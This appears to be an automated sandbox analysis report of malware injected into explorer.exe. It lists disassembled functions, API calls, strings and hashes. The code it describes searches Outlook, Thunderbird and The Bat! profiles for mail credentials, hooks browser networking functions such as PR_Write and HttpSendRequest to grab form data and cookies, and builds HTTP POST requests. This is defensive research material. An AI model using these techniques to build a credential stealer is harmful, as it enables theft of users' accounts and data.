API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: baec96bfdead2c76f9d40b549b314d090c8656c966da0cfbe969c1d0fccf5cf0
Instruction ID: 55d5dd33b2f901c1089b15beaab3eab97d09ece425fd31eaa01e34cb85dd0178
Opcode Fuzzy Hash: baec96bfdead2c76f9d40b549b314d090c8656c966da0cfbe969c1d0fccf5cf0
Instruction Fuzzy Hash: 23D05E31800260B7EA657774BC1E9CA2A8CBF45730B254251B6E5961D3C9794A818B71

Function 0008104F Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

ExpandEnvironmentStringsW.KERNEL32(%APPDATA%\Microsoft\Outlook,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 0008107F
ExpandEnvironmentStringsW.KERNEL32(%LOCALAPPDATA%\Microsoft\Outlook,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 00081093
ExpandEnvironmentStringsW.KERNEL32(%ALLUSERSPROFILE%\Microsoft\Outlook,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 000810A7
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000005,00000000), ref: 000810BB
ExpandEnvironmentStringsW.KERNEL32(%APPDATA%\Thunderbird,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 000810D3
ExpandEnvironmentStringsW.KERNEL32(%APPDATA%\The Bat!,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 000810E7
ExpandEnvironmentStringsW.KERNEL32(%ALLUSERSPROFILE%\The Bat!,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 000810FB
ExpandEnvironmentStringsW.KERNEL32(%APPDATA%\BatMail,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 0008110F
ExpandEnvironmentStringsW.KERNEL32(%ALLUSERSPROFILE%\BatMail,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 00081123
wsprintfA.USER32 ref: 0008116B
ExitProcess.KERNEL32 ref: 00081189

Strings

%ALLUSERSPROFILE%\BatMail, xrefs: 0008111E
%ALLUSERSPROFILE%\Microsoft\Outlook, xrefs: 000810A2
%ALLUSERSPROFILE%\The Bat!, xrefs: 000810F6
%APPDATA%\Microsoft\Outlook, xrefs: 0008107A
%APPDATA%\Thunderbird, xrefs: 000810CE
%APPDATA%\The Bat!, xrefs: 000810E2
%s,, xrefs: 00081165
%LOCALAPPDATA%\Microsoft\Outlook, xrefs: 0008108E
%APPDATA%\BatMail, xrefs: 0008110A

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: EnvironmentExpandStrings$HeapProcess$AllocateExitFolderPathSpecialwsprintf
String ID: %ALLUSERSPROFILE%\BatMail$%ALLUSERSPROFILE%\Microsoft\Outlook$%ALLUSERSPROFILE%\The Bat!$%APPDATA%\BatMail$%APPDATA%\Microsoft\Outlook$%APPDATA%\The Bat!$%APPDATA%\Thunderbird$%LOCALAPPDATA%\Microsoft\Outlook$%s,
API String ID: 1709485025-1688604020
Opcode ID: 72968f9d89e6bc32a17a9400d13fd263b6a4988c16ccb6dcd1446170f9e16262
Instruction ID: 4a2ba61a2a61d2de802517fd4c21c0c34be2e32a5e302aa0719222a3359143be
Opcode Fuzzy Hash: 72968f9d89e6bc32a17a9400d13fd263b6a4988c16ccb6dcd1446170f9e16262
Instruction Fuzzy Hash: 7331937174022566EA5133654C1AFFF198DBF81FD4B050124F6C9DA2C3DE598E0387B6

Function 0008126E Relevance: 12.4, APIs: 8, Instructions: 365
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00081289
GetFileSize.KERNEL32(00000000,00000000), ref: 000812A1
CloseHandle.KERNELBASE(00000000), ref: 000816F4

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

ReadFile.KERNELBASE(00000000,00000000,00000400,?,00000000), ref: 000812E8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0008132D
RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 00081379
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 000813B6

Part of subcall function 00081C39: RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081C55

Part of subcall function 00081972: RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081994

Sleep.KERNELBASE(00000064), ref: 000816FD

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: File$MemoryMove$HeapRead$AllocateCloseCreateHandlePointerProcessSizeSleep
String ID:
API String ID: 1032042679-0
Opcode ID: 61bc2f22d2100cfa5cada242e575fdd2c09bc464b337c3e81574e5df978ef6ef
Instruction ID: 75e5417636b9bb59cc4e60b4fe32e97da451ac298a5a535e8d66e3deab824b36
Opcode Fuzzy Hash: 61bc2f22d2100cfa5cada242e575fdd2c09bc464b337c3e81574e5df978ef6ef
Instruction Fuzzy Hash: 9DD1D2746082119BC764BF2888406FABBEABFC8760F48462DF8D597295E7308D53CB95

Function 0008274A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00082758
Process32First.KERNEL32(00000000,?), ref: 00082777
lstrcmpi.KERNEL32(?,outlook.exe), ref: 0008278B
Process32Next.KERNEL32(00000000,00000128), ref: 000827A8
CloseHandle.KERNELBASE(00000000), ref: 000827B3

Strings

outlook.exe, xrefs: 0008277F

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID: outlook.exe
API String ID: 868014591-749849299
Opcode ID: 5a2c25bce87a4886a15f15d2e2ef7a80a439fc0a196e4a8c78eb7e8f423e4933
Instruction ID: 343884579346d2584715dea729d65f949d7c5dc94cdf17a98ebe8d79567dd670
Opcode Fuzzy Hash: 5a2c25bce87a4886a15f15d2e2ef7a80a439fc0a196e4a8c78eb7e8f423e4933
Instruction Fuzzy Hash: 23F06230505128ABE720BB65DC49BEE77BCBB48B25F400190E9C9A2191EB388B544F95

Function 00089CF6 Relevance: 3.3, APIs: 2, Instructions: 282
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000088000.00000040.80000000.00040000.00000000.sdmp, Offset: 00088000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_88000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0108dd120b053b6f55e8645ecb237e8214c936467551cc72fb4cdbd494caad90
Instruction ID: a463335449e91c4295caeb03356daa0005c9d69c2ec95bec009e1af8dcd402f7
Opcode Fuzzy Hash: 0108dd120b053b6f55e8645ecb237e8214c936467551cc72fb4cdbd494caad90
Instruction Fuzzy Hash: 439137725193914FD726BE78CCC46B5BFE0FB52320B2C06A9D9D1CB386E7A4580AC764

Function 000829B7 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: b9351f4542ec540c723d8288ffa8f1c93b00f39b480ad427a02778a4ffa0a27d
Instruction ID: 3c8c13ecdc887a9dfa87a418431857bd093085331a36a112817de6aaaa3d87e4
Opcode Fuzzy Hash: b9351f4542ec540c723d8288ffa8f1c93b00f39b480ad427a02778a4ffa0a27d
Instruction Fuzzy Hash: 1CA002B15503005BFD4457F5AE1EA157528B7D4B01F0045447385890549A6955148F21

Function 00082999 Relevance: 2.5, APIs: 2, Instructions: 12
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000827E2: VirtualQuery.KERNEL32(00000000,00000209,0000001C,00000209,00082664,?,000818F4), ref: 000827EF

GetProcessHeap.KERNEL32(00000000,00000000,00000209,00082664,?,000818F4), ref: 000829A8
HeapFree.KERNEL32(00000000,?,000818F4), ref: 000829AF

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: df64934d43702fa617687989b5c70bf43bb8b9b35f146b4e005b86ab177719a1
Instruction ID: 09411c8b402897cefff5f73e0440f262c5ce0b05ffcf0dbc953be38e067b1978
Opcode Fuzzy Hash: df64934d43702fa617687989b5c70bf43bb8b9b35f146b4e005b86ab177719a1
Instruction Fuzzy Hash: ACC02B3100433053DA6037743C1DBC63B0CBF8AB21F050082F9C1970418B6A8C018BB0

Non-executed Functions

Function 00081C39 Relevance: 40.4, APIs: 8, Strings: 15, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081C55
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00081DBA
RtlZeroMemory.NTDLL(?,?), ref: 00081DD3
StrStrIA.SHLWAPI(00000000,from), ref: 00081DE5
StrStrIA.SHLWAPI(00000000,Blob), ref: 00081DF1
StrStrIA.SHLWAPI(00000000,Pop), ref: 00081DFD
StrStrIA.SHLWAPI(00000000,SMTP), ref: 00081E09
StrStrIA.SHLWAPI(00000000,.pst), ref: 00081E15

Strings

from, xrefs: 00081DDF
., xrefs: 00081CC4
/, xrefs: 00081CB0
SMTP, xrefs: 00081E03
_, xrefs: 00081CBF
/, xrefs: 00081D1F
Pop, xrefs: 00081DF7
.pst, xrefs: 00081E0F
-, xrefs: 00081D29
:, xrefs: 00081D24
Blob, xrefs: 00081DEB
., xrefs: 00081D33
-, xrefs: 00081CBA
:, xrefs: 00081CB5
_, xrefs: 00081D2E

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: Memory$HeapMove$AllocateProcessZero
String ID: -$-$.$.$.pst$/$/$:$:$Blob$Pop$SMTP$_$_$from
API String ID: 1061763166-3069160855
Opcode ID: b84919368493d7d5f368d1f8ce8e5c1d9a6d62c27fbc89321324b14f0ac629bc
Instruction ID: 4b5aa8aed124a3871e58e12401931c93ac944f0da3ca0bc3fe3e93e69f00f3b1
Opcode Fuzzy Hash: b84919368493d7d5f368d1f8ce8e5c1d9a6d62c27fbc89321324b14f0ac629bc
Instruction Fuzzy Hash: BC5156B0B407165BEB64BA1888A46FE77DEBF85700F084919FDC44B283DB798C474792

Function 00081972 Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 243
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081994
RtlMoveMemory.NTDLL(00000000,00000000,00000001), ref: 00081B53
RtlZeroMemory.NTDLL(00000000,00000001), ref: 00081B61
StrStrIW.SHLWAPI(00000000,from), ref: 00081B99
StrStrIW.SHLWAPI(00000000,Blob), ref: 00081BA5
StrStrIW.SHLWAPI(00000000,Pop), ref: 00081BB1
StrStrIW.SHLWAPI(00000000,SMTP), ref: 00081BBD
StrStrIW.SHLWAPI(00000000,.pst), ref: 00081BC9
lstrlenW.KERNEL32(00000000), ref: 00081BD0

Strings

;, xrefs: 00081B85
.pst, xrefs: 00081BC3
from, xrefs: 00081B93
SMTP, xrefs: 00081BB7
Pop, xrefs: 00081BAB
Blob, xrefs: 00081B9F
<, xrefs: 00081B7D

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: Memory$HeapMove$AllocateProcessZerolstrlen
String ID: .pst$;$<$Blob$Pop$SMTP$from
API String ID: 76385412-3831209991
Opcode ID: daa115a76ccc5235f2113b9ee301909c6d2d8d6482403054c7f97d7641e7743b
Instruction ID: 4513c980414ea6726187ff74bc215935d9f5c7d3fe74b3bdc2598ba981a98ec9
Opcode Fuzzy Hash: daa115a76ccc5235f2113b9ee301909c6d2d8d6482403054c7f97d7641e7743b
Instruction Fuzzy Hash: 7B71D2357443129BDB28BF18DD40AEE77E9BF88750F148829E9C19B282DB70DD878791

Function 000820A7 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

Part of subcall function 00082938: lstrlen.KERNEL32(0041AE26,?,00000000,00000000,000820E3,75712B62,0041AE26,00000000), ref: 00082940
Part of subcall function 00082938: MultiByteToWideChar.KERNEL32(00000000,00000000,0041AE26,00000001,00000000,00000000), ref: 00082952

Part of subcall function 000824CC: RtlZeroMemory.NTDLL(?,00000018), ref: 000824DE

RtlZeroMemory.NTDLL(?,0000003C), ref: 0008213F
wsprintfW.USER32 ref: 00082278
wsprintfW.USER32 ref: 000822E3
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 000823AD

Strings

Accept: */*Referer: %S, xrefs: 0008226E
Host: %s, xrefs: 000822DD
POST, xrefs: 00082229
Content-Type: application/x-www-form-urlencoded, xrefs: 00082307

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 2d0a82c8d0d7e4589e8405ce0e55f6720ae0ccaaaabdf10beb67123a4c5655e5
Instruction ID: a01ef7159da9355fa114d69cd7f2b2a9dec58d7afaa36dde2eb3a980ae35fe43
Opcode Fuzzy Hash: 2d0a82c8d0d7e4589e8405ce0e55f6720ae0ccaaaabdf10beb67123a4c5655e5
Instruction Fuzzy Hash: 2DA16AB1608340AFE750EF68D894A6BBBE8FF88750F10092DF9C5D7252DA34DE058B52

Function 00081ECE Relevance: 12.1, APIs: 8, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIA.SHLWAPI(00000000,000831D8), ref: 00081EE4
RtlMoveMemory.NTDLL(?,00000000,00000000), ref: 00081F08
RtlMoveMemory.NTDLL(?,?), ref: 00081F22
StrStrIA.SHLWAPI(00000000,?), ref: 00081F31
StrStrIA.SHLWAPI(00000000,?), ref: 00081F44
StrStrIA.SHLWAPI(?,?), ref: 00081F57
lstrlen.KERNEL32(00000000), ref: 00081F64
lstrlen.KERNEL32(00000000), ref: 00081F9D

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: MemoryMovelstrlen
String ID:
API String ID: 456560858-0
Opcode ID: 7a14b61d49639bded18d49fe900f4b0fc9897078ed695063aad06e24d9f1e285
Instruction ID: 6da4ad79282a5736bd751d79d8e3ad9208539ada28f005c9117f4ca21c0103b0
Opcode Fuzzy Hash: 7a14b61d49639bded18d49fe900f4b0fc9897078ed695063aad06e24d9f1e285
Instruction Fuzzy Hash: 702190725043196ADB30BA649C85FEB7BDCAF85744F000936EBC4C3113E729D94B87A2

Function 00081E44 Relevance: 7.6, APIs: 5, Instructions: 81stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,75A7D250,?,?,00081E22), ref: 00081E5D
CharLowerBuffA.USER32(00000000,00000000), ref: 00081E69
lstrcmpi.KERNEL32(00000000,0041C16C), ref: 00081E81
lstrlen.KERNEL32(00000000,?,00081E22), ref: 00082699
RtlMoveMemory.NTDLL(0041C16C,00000000,00000000), ref: 000826A2

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: lstrlen$BuffCharLowerMemoryMovelstrcmpi
String ID:
API String ID: 2826435453-0
Opcode ID: ef267b4f75cccad907b9530f99bc2299fdce0451e31b5f1636dbc808011e4daf
Instruction ID: 01f6e81a6ba3fb045b30a4bd0ba53f7463dec2894d89fef1a73f4158b8aeafa4
Opcode Fuzzy Hash: ef267b4f75cccad907b9530f99bc2299fdce0451e31b5f1636dbc808011e4daf
Instruction Fuzzy Hash: 3221C6B66002105FE710AF24EC849FA77DDFFC9725B10052AEC85C7251D776990687A2

Function 000818F4 Relevance: 6.1, APIs: 4, Instructions: 51fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0008190C
GetFileSize.KERNEL32(00000000,00000000), ref: 0008191C
CloseHandle.KERNEL32(00000000), ref: 00081966

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00081941

Part of subcall function 00081C39: RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081C55

Part of subcall function 00081972: RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081994

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: File$HeapMemoryMove$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 3402831612-0
Opcode ID: 2be5267b56057d24c1f5efdeeaf95091aebe7c739d2765d28efaa2af9e852935
Instruction ID: 92500d04bea994f5137bb789ba7b1fdb9588a09fa389c957eef6f3e76e100f7c
Opcode Fuzzy Hash: 2be5267b56057d24c1f5efdeeaf95091aebe7c739d2765d28efaa2af9e852935
Instruction Fuzzy Hash: EF01D6323002147BE2213A35DC68EEF7A9DFF86BB4F010629F5D6A21D1DA259D069770

Analysis Process: explorer.exePID: 1872, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	223
Total number of Limit Nodes:	16

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00083862 Relevance: 142.1, APIs: 54, Strings: 27, Instructions: 334
libraryloaderstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 00083886
GetCurrentProcessId.KERNEL32(00000001), ref: 0008389B
wsprintfA.USER32 ref: 000838B6

Part of subcall function 0008118D: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 000811A9
Part of subcall function 0008118D: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 000811C1
Part of subcall function 0008118D: lstrlen.KERNEL32(?,00000000), ref: 000811C9
Part of subcall function 0008118D: CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 000811D4
Part of subcall function 0008118D: CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 000811EE
Part of subcall function 0008118D: wsprintfA.USER32 ref: 00081205
Part of subcall function 0008118D: CryptDestroyHash.ADVAPI32(?), ref: 0008121E
Part of subcall function 0008118D: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00081228

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 000838CD
GetLastError.KERNEL32 ref: 000838D3
RtlInitializeCriticalSection.NTDLL(00086038), ref: 000838F3
PathFindFileNameA.SHLWAPI(?), ref: 000838FA
lstrcat.KERNEL32(00085CDE,00000000), ref: 00083910
Sleep.KERNEL32(000001F4), ref: 0008392A
lstrcmpi.KERNEL32(00000000,firefox.exe), ref: 0008393C
GetCommandLineW.KERNEL32(?), ref: 0008394F
GetModuleHandleA.KERNEL32(kernel32.dll,VirtualQuery), ref: 0008397E
GetProcAddress.KERNEL32(00000000), ref: 00083987
GetModuleHandleA.KERNEL32(nspr4.dll,PR_GetDescType), ref: 000839AF
GetProcAddress.KERNEL32(00000000), ref: 000839B2
GetModuleHandleA.KERNEL32(nss3.dll,PR_GetDescType), ref: 000839C4
GetProcAddress.KERNEL32(00000000), ref: 000839C7
GetModuleHandleA.KERNEL32(nspr4.dll,PR_Write), ref: 000839E1
GetProcAddress.KERNEL32(00000000), ref: 000839E4
GetModuleHandleA.KERNEL32(nss3.dll,PR_Write), ref: 000839EC
GetProcAddress.KERNEL32(00000000), ref: 000839EF
lstrcmpi.KERNEL32(00000000,chrome.exe), ref: 00083A6D
GetCommandLineA.KERNEL32(NetworkService), ref: 00083A78
StrStrIA.SHLWAPI(00000000), ref: 00083A7B
lstrcmpi.KERNEL32(00000000,opera.exe), ref: 00083A8E
GetCommandLineA.KERNEL32(NetworkService), ref: 00083A9D
StrStrIA.SHLWAPI(00000000), ref: 00083AA0
GetModuleHandleA.KERNEL32(opera.dll), ref: 00083ABF
GetModuleHandleA.KERNEL32(opera_browser.dll), ref: 00083ACC
CommandLineToArgvW.SHELL32(00000000), ref: 00083956

Part of subcall function 000816C7: GetCurrentProcessId.KERNEL32 ref: 000816D9
Part of subcall function 000816C7: GetCurrentThreadId.KERNEL32 ref: 000816E1
Part of subcall function 000816C7: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 000816F1
Part of subcall function 000816C7: Thread32First.KERNEL32(00000000,0000001C), ref: 000816FF
Part of subcall function 000816C7: CloseHandle.KERNEL32(00000000), ref: 00081758

lstrcmpi.KERNEL32(00000000,iexplore.exe), ref: 00083A10
lstrcmpi.KERNEL32(00000000,microsoftedgecp.exe), ref: 00083A20
lstrcmpi.KERNEL32(00000000,msedge.exe), ref: 00083A30
GetCommandLineA.KERNEL32(NetworkService), ref: 00083A47
StrStrIA.SHLWAPI(00000000), ref: 00083A4A
GetModuleHandleA.KERNEL32(chrome.dll), ref: 00083A5F
GetModuleHandleA.KERNEL32(wininet.dll,HttpSendRequestA), ref: 00083B2C
GetProcAddress.KERNEL32(00000000), ref: 00083B35
GetModuleHandleA.KERNEL32(wininet.dll,HttpSendRequestW), ref: 00083B52
GetProcAddress.KERNEL32(00000000), ref: 00083B55
GetModuleHandleA.KERNEL32(wininet.dll,InternetWriteFile), ref: 00083B72
GetProcAddress.KERNEL32(00000000), ref: 00083B75
GetModuleHandleA.KERNEL32(wininet.dll,HttpQueryInfoA), ref: 00083B99
GetProcAddress.KERNEL32(00000000), ref: 00083B9C
GetModuleHandleA.KERNEL32(wininet.dll,InternetQueryOptionA), ref: 00083BA9
GetProcAddress.KERNEL32(00000000), ref: 00083BAC
GetModuleHandleA.KERNEL32(wininet.dll,InternetGetCookieA), ref: 00083BB9
GetProcAddress.KERNEL32(00000000), ref: 00083BBC

Part of subcall function 00081C08: RtlMoveMemory.NTDLL(00000000,?,00000000), ref: 00081C42

RtlExitUserThread.NTDLL(00000000), ref: 00083BD9
wsprintfA.USER32 ref: 00083C1F
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00083C69
Process32First.KERNEL32(00000000,?), ref: 00083C88
CloseHandle.KERNELBASE(00000000), ref: 00083D77
Sleep.KERNELBASE(000003E8), ref: 00083D82

Strings

NetworkService, xrefs: 00083A42, 00083A73, 00083A98
fgclearcookies, xrefs: 00083C3D
InternetWriteFile, xrefs: 00083B6C
PR_GetDescType, xrefs: 000839A4, 000839A9, 000839C2
kernel32.dll, xrefs: 00083979
chrome.exe, xrefs: 00083A67
opera.exe, xrefs: 00083A88
%s%d%d%d, xrefs: 000838B0
%s%s, xrefs: 00083C19
InternetQueryOptionA, xrefs: 00083B9E
InternetGetCookieA, xrefs: 00083BAE
microsoftedgecp.exe, xrefs: 00083A1A
opera.dll, xrefs: 00083AB0
nss3.dll, xrefs: 000839B9, 000839C3, 000839EB
HttpSendRequestA, xrefs: 00083B26
msedge.exe, xrefs: 00083A2A
msedge.dll, xrefs: 00083A50
firefox.exe, xrefs: 00083936
VirtualQuery, xrefs: 00083974
wininet.dll, xrefs: 00083B21, 00083B2B, 00083B51, 00083B71, 00083B98, 00083BA3, 00083BB3
nspr4.dll, xrefs: 000839AA, 000839DC
opera_browser.dll, xrefs: 00083AC7
HttpSendRequestW, xrefs: 00083B4C
PR_Write, xrefs: 000839D6, 000839DB, 000839EA
iexplore.exe, xrefs: 00083A0A
chrome.dll, xrefs: 00083A81
HttpQueryInfoA, xrefs: 00083B93

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Handle$Module$AddressProc$Cryptlstrcmpi$CommandLine$CreateHash$CurrentProcesswsprintf$CloseContextFileFirstHeapNameSleepSnapshotThreadToolhelp32$AcquireAllocateArgvCriticalDataDestroyErrorExitFindInitializeLastMemoryMoveMutexParamPathProcess32ReleaseSectionThread32Userlstrcatlstrlen
String ID: %s%d%d%d$%s%s$HttpQueryInfoA$HttpSendRequestA$HttpSendRequestW$InternetGetCookieA$InternetQueryOptionA$InternetWriteFile$NetworkService$PR_GetDescType$PR_Write$VirtualQuery$chrome.dll$chrome.exe$fgclearcookies$firefox.exe$iexplore.exe$kernel32.dll$microsoftedgecp.exe$msedge.dll$msedge.exe$nspr4.dll$nss3.dll$opera.dll$opera.exe$opera_browser.dll$wininet.dll
API String ID: 2480436012-2618538661
Opcode ID: b9f6ff7a843870f369ebe3c7313e7c28a896d86895adef5c6821e2817a989fd5
Instruction ID: 4080beb071130776e6dd09e7f3c374191be514a04634faf7e68f9b4ce61aff03
Opcode Fuzzy Hash: b9f6ff7a843870f369ebe3c7313e7c28a896d86895adef5c6821e2817a989fd5
Instruction Fuzzy Hash: AEA1D370A40716A7E71077719C49E6F3A9CBF91B41B120524F6C1AB292EF79C9028FA6

Function 00083D8D Relevance: 4.5, APIs: 3, Instructions: 46
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00081274: VirtualQuery.KERNEL32(?,?,0000001C), ref: 00081281

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 00083DAF
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00083DE2
NtUnmapViewOfSection.NTDLL(000000FF), ref: 00083DEB

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: HeapMemoryMove$AllocateProcessQuerySectionUnmapViewVirtual
String ID:
API String ID: 4050682147-0
Opcode ID: 0bdd0153c5d571ba371ff687eaf063fdcaa43c021457fa3483b6ad3aa1bdb115
